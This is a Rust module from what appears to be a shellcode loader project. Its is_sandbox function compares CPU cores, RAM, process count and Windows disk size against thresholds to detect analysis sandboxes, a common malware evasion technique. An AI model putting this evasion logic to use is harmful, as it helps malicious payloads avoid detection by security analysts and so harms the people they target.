shellcode_loader/sandbox/
mod.rs

1use std::ffi::OsStr;
2
3use sysinfo::{System,Disks};
4
5fn count_cpus()->u32{
6    //cpu数量,单位:个
7    let cpus=System::physical_core_count();
8    match cpus {
9        Some(res)=>{return res as u32;},
10        None=>{return 0;}
11    }
12}
13
14fn count_rams(sys:&System)->u32{
15    //内存大小,单位:GB
16    ((sys.total_memory() as u64)/(1024*1024*1024)) as u32
17}
18
19fn count_disk()->u32{
20    //硬盘大小,单位:GB
21    let disks=Disks::new_with_refreshed_list();
22    for disk in disks.list(){
23        let name=disk.name();
24        let file_system=disk.file_system();
25
26        let dst_file_name=OsStr::new("Windows");
27        let dst_file_system=OsStr::new("NTFS");
28        if name==dst_file_name&&file_system==dst_file_system{
29            return ((disk.total_space() as u64)/(1024*1024*1024)) as u32;
30        }
31    }
32    100
33}
34
35fn count_proc(sys:&System)->u32{
36    //进程数量,单位:个
37    sys.processes().len() as u32
38}
39
40pub fn is_sandbox(cpus_count:u32,rams_size:u32,proc_count:u32,disk_size:u32)->bool{
41    let mut sys=System::new();
42    sys.refresh_all();
43    let cpus=count_cpus();
44    let rams=count_rams(&sys);
45    let proc=count_proc(&sys);
46    let disk=count_disk();
47
48    return cpus<cpus_count || rams<rams_size || proc<proc_count || disk<disk_size
49}